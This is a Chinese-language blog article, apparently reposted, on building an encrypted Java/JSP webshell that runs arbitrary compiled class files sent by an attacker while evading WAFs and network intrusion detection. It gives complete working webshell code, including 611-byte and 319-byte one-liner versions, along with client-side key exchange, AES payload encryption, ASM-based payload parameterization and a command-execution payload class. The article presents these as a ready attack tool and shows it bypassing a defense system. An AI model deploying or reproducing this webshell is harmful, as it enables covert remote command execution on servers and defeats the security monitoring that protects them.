利用动态二进制加密实现新型一句话木马之Java篇

栏目: 编程工具 · 发布时间: 7年前

内容简介:本系列文章重写了java、.net、php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是:利用动态二进制加密实现新型一句话木马之Java篇

概述

本系列文章重写了 java 、.net、 php 三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。

本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是:

利用动态二进制加密实现新型一句话木马之Java篇

利用动态二进制加密实现新型一句话木马之.net篇

利用动态二进制加密实现新型一句话木马之php篇

利用动态二进制加密实现新型一句话木马之客户端下载及功能介绍

前言

一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,因其体积小、隐蔽性强、功能强大等特点,被广泛应用于渗透过程中。最初的一句话木马真的只有一句话,比如eval(request(“cmd”)),后续为了躲避查杀,出现了很多变形。无论怎么变形,其本质都是用有限的尽可能少的字节数,来实现无限的可任意扩展的功能。

一句话木马从最早的<%execute(request(“cmd”))%>到现在,也有快二十年的历史了。客户端 工具 也从最简单的一个html页面发展到现在的各种GUI工具。但是近些年友军也没闲着,涌现出了各种防护系统,这些防护系统主要分为两类:一类是基于主机的,如Host based IDS、安全狗、D盾等,基于主机的防护系统主要是通过对服务器上的文件进行特征码检测;另一类是基于网络流量的,如各种云WAF、各种商业级硬件WAF、网络防火墙、Net Based IDS等,基于网络的防护设备其检测原理是对传输的流量数据进行特征检测,目前绝大多数商业级的防护设备皆属于此种类型。一旦目标网络部署了基于网络的防护设备,我们常用的一句话木马客户端在向服务器发送Payload时就会被拦截,这也就导致了有些场景下会出现一句话虽然已经成功上传,但是却无法连接的情况。

理论篇

为什么会被拦截

在讨论怎么绕过之前,先分析一下我们的一句话客户端发送的请求会被拦截?

我们以菜刀为例,来看一下payload的特征,如下为aspx的命令执行的payload:

利用动态二进制加密实现新型一句话木马之Java篇

Payload如下:

caidao=Response.Write("->|");
var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

可以看到,虽然关键的代码采用了base64编码,但是payload中扔有多个明显的特征,比如有eval关键词,有Convert.FromBase64String,有三个参数,参数名为caidao(密码字段)、z1、z2,参数值有base64编码。针对这些特征很容易写出对应的防护规则,比如:POST请求中有Convert.FromBase64String关键字,有z1和z2参数,z1参数值为4个字符,z2参数值为base64编码字符。

被动的反抗

当然这种很low的规则,绕过也会很容易,攻击者只要自定义自己的payload即可绕过,比如把参数改下名字即可,把z1,z2改成z9和z10。不过攻击者几天后可能会发现z9和z10也被加到规则里面去了。再比如攻击者采用多种组合编码方式进行编码,对payload进行加密等等,不过对方的规则也在不断的更新,不断识别关键的编码函数名称、加解密函数名称,并加入到规则里面。于是攻击者和防御者展开了长期的较量,不停的变换着各种姿势……

釜底抽薪

其实防御者之所以能不停的去更新自己的规则,主要是因为两个原因:1.攻击者发送的请求都是脚本源代码,无论怎么样编码,仍然是服务器端解析引擎可以解析的源代码,是基于文本的,防御者能看懂。2.攻击者执行多次相同的操作,发送的请求数据也是相同的,防御者就可以把他看懂的请求找出特征固化为规则。

试想一下,如果攻击者发送的请求不是文本格式的源代码,而是编译之后的字节码(比如java环境下直接向服务器端发送class二进制文件),字节码是一堆二进制数据流,不存在参数;攻击者把二进制字节码进行加密,防御者看到的就是一堆加了密的二进制数据流;攻击者多次执行同样的操作,采用不同的密钥加密,即使是同样的payload,防御者看到的请求数据也不一样,这样防御者便无法通过流量分析来提取规则。

SO,这就是我们可以一劳永逸绕过waf的思路,具体流程如下:

  1. 首次连接一句话服务端时,客户端首先向服务器端发起一个GET请求,服务器端随机产生一个128位的密钥,把密钥回显给客户端,同时把密钥写进服务器侧的Session中。
  2. 客户端获取密钥后,对本地的二进制payload先进行AES加密,再通过POST方式发送至服务器端。
  3. 服务器收到数据后,从Session中取出秘钥,进行AES解密,解密之后得到二进制payload数据。
  4. 服务器解析二进制payload文件,执行任意代码,并将执行结果加密返回。
  5. 客户端解密服务器端返回的结果。

如下为执行流程图:

利用动态二进制加密实现新型一句话木马之Java篇

实现篇

服务端实现

想要直接解析已经编译好的二进制字节流,实现我们的绕过思路,现有的Java一句话木马无法满足我们的需求,因此我们首先需要打造一个新型一句话木马:

1. 服务器端动态解析二进制class文件:

首先要让服务端有动态地将字节流解析成Class的能力,这是基础。

正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,方法原型如下:

利用动态二进制加密实现新型一句话木马之Java篇

因为该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。

下面我们写个demo来测试一下:

package net.rebeyond;    
import sun.misc.BASE64Decoder;

public class Demo {
    public static class Myloader extends ClassLoader //继承ClassLoader
    {   
        public  Class get(byte[] b)
        {
            return super.defineClass(b, 0, b.length);
        }       
    }
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        String classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMbmV0L3JlYmV5b25kL1JlYmV5b25kOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAA1SZWJleW9uZC5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw==";
        BASE64Decoder code=new sun.misc.BASE64Decoder();
        Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
        System.out.println(result.newInstance().toString());
    }
}

上面代码中的classStr变量的值就是如下这个类编译之后的class文件的base64编码:

package net.rebeyond;
import java.io.IOException;

public class Payload {
    @Override
    public String toString() {
        // TODO Auto-generated method stub
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        return "OK";
    }
}

简单解释一下上述代码:

  • 首先自定义一个类Myloader,并继承classloader父类,然后自定义一个名为get的方法,该方法接收byte数组类型的参数,然后调用父类的defineClass方法去解析byte数据,并返回解析后的Class。
  • 单独编写一个Payload类,并实现toString方法。因为我们想要我们的服务端尽可能的短小精悍,所以我们定义的Payload类即为默认的Object的子类,没有额外定义其他方法,因此只能借用Object类的几个默认方法,由于我们执行payload之后还要拿到执行结果,所以我们选择可以返回String类型的toString方法。把这个类编译成Payload.class文件。
  • main函数中classStr变量为上述Payload.class文件二进制流的base64编码。
  • 新建一个Myloader的实例,将classStr解码为二进制字节流,并传入Myloader实例的get方法,得到一个Class类型的实例result,此时result即为Payload.class(注意此处的Payload.class不是上文的那个二进制文件,而是Payload这个类的class属性)。
  • 调用result类的默认无参构造器newInstance()生成一个Payload类的实例,然后调用该实例的toString方法,继而执行toString方法中的代码:Runtime.getRuntime().exec("calc.exe");return “OK”
  • 在控制台打印出toString方法的返回值。
    OK,代码解释完了,下面尝试执行Demo类,成功弹出计算器,并打印出“OK”字符串,如下图:

利用动态二进制加密实现新型一句话木马之Java篇

到此,我们就可以直接动态解析并执行编译好的class字节流了。

2.生成密钥:

首先检测请求方式,如果是带了密码字段的GET请求,则随机产生一个128位的密钥,并将密钥写进Session中,然后通过response发送给客户端,代码如下:

if (request.getMethod().equalsIgnoreCase("get")) {
    String k = UUID.randomUUID().toString().replace("-","").substring(0, 16);
    request.getSession().setAttribute("uid", k);
    out.println(k);
    return;
}

这样,后续发送payload的时候只需要发送加密后的二进制流,无需发送密钥即可在服务端解密,这时候waf捕捉到的只是一堆毫无意义的二进制数据流。

3.解密数据,执行:

当客户端请求方式为POST时,服务器先从request中取出加密过的二进制数据(base64格式),代码如下:

Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES"));
new Myloader().get(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().toString();

4.改进一下

前面提到,我们是通过重写Object类的toString方法来作为我们的Payload执行入口,这样的好处是我们可以取到Payload的返回值并输出到页面,但是缺点也很明显:在toString方法内部没办法访问Request、Response、Seesion等servlet相关对象。所以需要找一个带有入参的方法,并且能把Request、Response、Seesion等servlet相关对象传递进去。

重新翻看了一下Object类的方法列表:

利用动态二进制加密实现新型一句话木马之Java篇

可以看到equals方法完美符合我们的要求,有入参,而且入参是Object类,在Java世界中,Object类是所有类的基类,所以我们可以传递任何类型的对象进去。

方法找到了,下面看我们要怎么把servlet的内置对象传进去呢?传谁呢?

JSP有9个内置对象:

利用动态二进制加密实现新型一句话木马之Java篇

但是equals方法只接受一个参数,通过对这9个对象分析发现,只要传递pageContext进去,便可以间接获取Request、Response、Seesion等对象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();

另外,如果想要顺利的在equals中调用Request、Response、Seesion这几个对象,还需要考虑一个问题,那就是ClassLoader的问题。JVM是通过ClassLoader+类路径来标识一个类的唯一性的。我们通过调用自定义ClassLoader来defineClass出来的类与Request、Response、Seesion这些类的ClassLoader不是同一个,所以在equals中访问这些类会出现java.lang.ClassNotFoundException异常。

解决方法就是复写ClassLoader的如下构造函数,传递一个指定的ClassLoader实例进去:

利用动态二进制加密实现新型一句话木马之Java篇

5.完整代码:

<%@ page
    import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
<%!
/*
定义ClassLoader的子类Myloader
*/
public static class Myloader extends ClassLoader {
    public Myloader(ClassLoader c) 
    {super(c);}
    public Class get(byte[] b) {  //定义get方法用来将指定的byte[]传给父类的defineClass
        return super.defineClass(b, 0, b.length);
    }
}
%>
<%
    if (request.getParameter("pass")!=null) {  //判断请求方法是不是带密码的握手请求,此处只用参数名作为密码,参数值可以任意指定
        String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16);  //随机生成一个16字节的密钥
        request.getSession().setAttribute("uid", k); //将密钥写入当前会话的Session中
        out.print(k); //将密钥发送给客户端
        return; //执行流返回,握手请求时,只产生密钥,后续的代码不再执行
    }
    /*
    当请求为非握手请求时,执行下面的分支,准备解密数据并执行
    */
    String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload
    Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload进行base64解码
    Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件
    c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //从Session中取出密钥
    Byte[] classData= c.doFinal(encryptedData);  //AES解密操作
    Object myLoader= new Myloader().get(classData).newInstance(); //通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化
    String result= myLoader.equals(pageContext); //调用payload class的equals方法,我们在准备payload class的时候,将想要执行的目标代码封装到equals方法中即可,将执行结果通过equals中利用response对象返回。
%>

为了增加可读性,我对上述代码做了一些扩充,简化一下就是下面这一行:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

现在网络上流传的菜刀jsp一句话木马要7000多个字节,我们这个全功能版本只有611个字节,当然如果只去掉动态加密而只实现传统一句话木马的功能的话,可以精简成319个字节,如下:

<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null)new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);%>

至此,我们的具有动态解密功能的、能解析执行任意二进制流的新型一句话木马就完成了。

客户端实现

1.远程获取加密密钥:

客户端在运行时,首先以GET请求携带密码字段向服务器发起握手请求,获取此次会话的加密密钥和cookie值。加密密钥用来对后续发送的Payload进行AES加密;上文我们说到服务器端随机产生密钥之后会存到当前Session中,同时会以set-cookie的形式给客户端一个SessionID,客户端获取密钥的同时也要获取该cookie值,用来标识客户端身份,服务器端后续可以通过客户端传来的cookie值中的sessionId来从Session中取出该客户端对应的密钥进行解密操作。关键代码如下:

public static Map<String, String> getKeyAndCookie(String getUrl) throws Exception {
    Map<String, String> result = new HashMap<String, String>();
    StringBuffer sb = new StringBuffer();
    InputStreamReader isr = null;
    BufferedReader br = null;
    URL url = new URL(getUrl);
    URLConnection urlConnection = url.openConnection();

    String cookieValue = urlConnection.getHeaderField("Set-Cookie");
    result.put("cookie", cookieValue);
    isr = new InputStreamReader(urlConnection.getInputStream());
    br = new BufferedReader(isr);
    String line;
    while ((line = br.readLine()) != null) {
        sb.append(line);
    }
    br.close();
    result.put("key", sb.toString());
    return result;
}

2.动态生成class字节数组:

我们只需要把payload的类写好一起打包进客户端jar包,然后通过ASM框架从jar包中以字节流的形式取出class文件即可,如下是一个执行系统命令的payload类的代码示例:

public class Cmd {

public static String cmd;

@Override
public boolean equals(Object obj) {
    // TODO Auto-generated method stub
    PageContext page = (PageContext) obj;
    page.getResponse().setCharacterEncoding("UTF-8");
    Charset osCharset=Charset.forName(System.getProperty("sun.jnu.encoding"));
    try {
        String result = "";
        if (cmd != null && cmd.length() > 0) {
            Process p;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
                p = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", cmd });
            } else {
                p = Runtime.getRuntime().exec(cmd);
            }
            BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
            String disr = br.readLine();
            while (disr != null) {
                result = result + disr + "\n";
                disr = br.readLine();
            }
            result = new String(result.getBytes(osCharset));
            page.getOut().write(result.trim());
        }
    } catch (Exception e) {
        try {
            page.getOut().write(e.getMessage());
        } catch (IOException e1) {
            // TODO Auto-generated catch block
            e1.printStackTrace();
        }
    }

    return true;
}

3.已编译类的参数化:

上述示例中需要执行的命令是硬编码在class文件中的,因为class是已编译好的文件,我们总不能每执行一条命令就重新编译一次payload。那么怎么样让Payload接收我们的自定义参数呢?直接在Payload中用request.getParameter来取?当然不行,因为为了避免被waf拦截,我们淘汰了request参数传递的方式,我们的request body就是一堆二进制流,没有任何参数。在服务器侧取参数不可行,那就从客户端侧入手,在发送class字节流之前,先对class进行参数化,在不需要重新编译的情况下向class文件中注入我们的自定义参数,这是比较关键的一步。这里我们要使用ASM框架来动态修改class文件中的属性值,关键代码如下:

public static byte[] getParamedClass(String clsName,final Map<String,String> params) throws Exception
{
    byte[] result;
    ClassReader classReader = new ClassReader(clsName);
    final ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);

    classReader.accept(new ClassAdapter(cw) {

        @Override
        public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
            // TODO Auto-generated method stub
            if (params.containsKey(filedName))
            {
                String paramValue=params.get(filedName);
                return super.visitField(arg0, filedName, arg2, arg3, paramValue);
            }

            return super.visitField(arg0, filedName, arg2, arg3, arg4);
        }},0);
    result=cw.toByteArray();
    return result;
}

我们只需要向getParamedClass方法传递payload类名、参数列表即可获得经过参数化的payload class。

4.加密payload:

利用步骤1中获取的密钥对payload进行AES加密,然后进行Base64编码,代码如下:

public static String getData(String key,String className,Map<String,String> params) throws Exception
{
    byte[] bincls=Params.getParamedClass(className, params);
    byte[] encrypedBincls=Decrypt.Encrypt(bincls,key);
    String basedEncryBincls=Base64.getEncoder().encodeToString(encrypedBincls);
    return basedEncryBincls;
}

5.发送payload,接收执行结果并解密:

Payload加密之后,带cookie以POST方式发送至服务器端,并将执行结果取回,如果结果是加密的,则进行AES解密。

案例演示

下面我找了一个测试站点来演示一下绕过防御系统的效果:

首先我上传一个常规的jsp一句话木马:

利用动态二进制加密实现新型一句话木马之Java篇

然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:

利用动态二进制加密实现新型一句话木马之Java篇

然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统:

利用动态二进制加密实现新型一句话木马之Java篇

本篇完。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Hacking

Hacking

Jon Erickson / No Starch Press / 2008-2-4 / USD 49.95

While other books merely show how to run existing exploits, Hacking: The Art of Exploitation broke ground as the first book to explain how hacking and software exploits work and how readers could deve......一起来看看 《Hacking》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具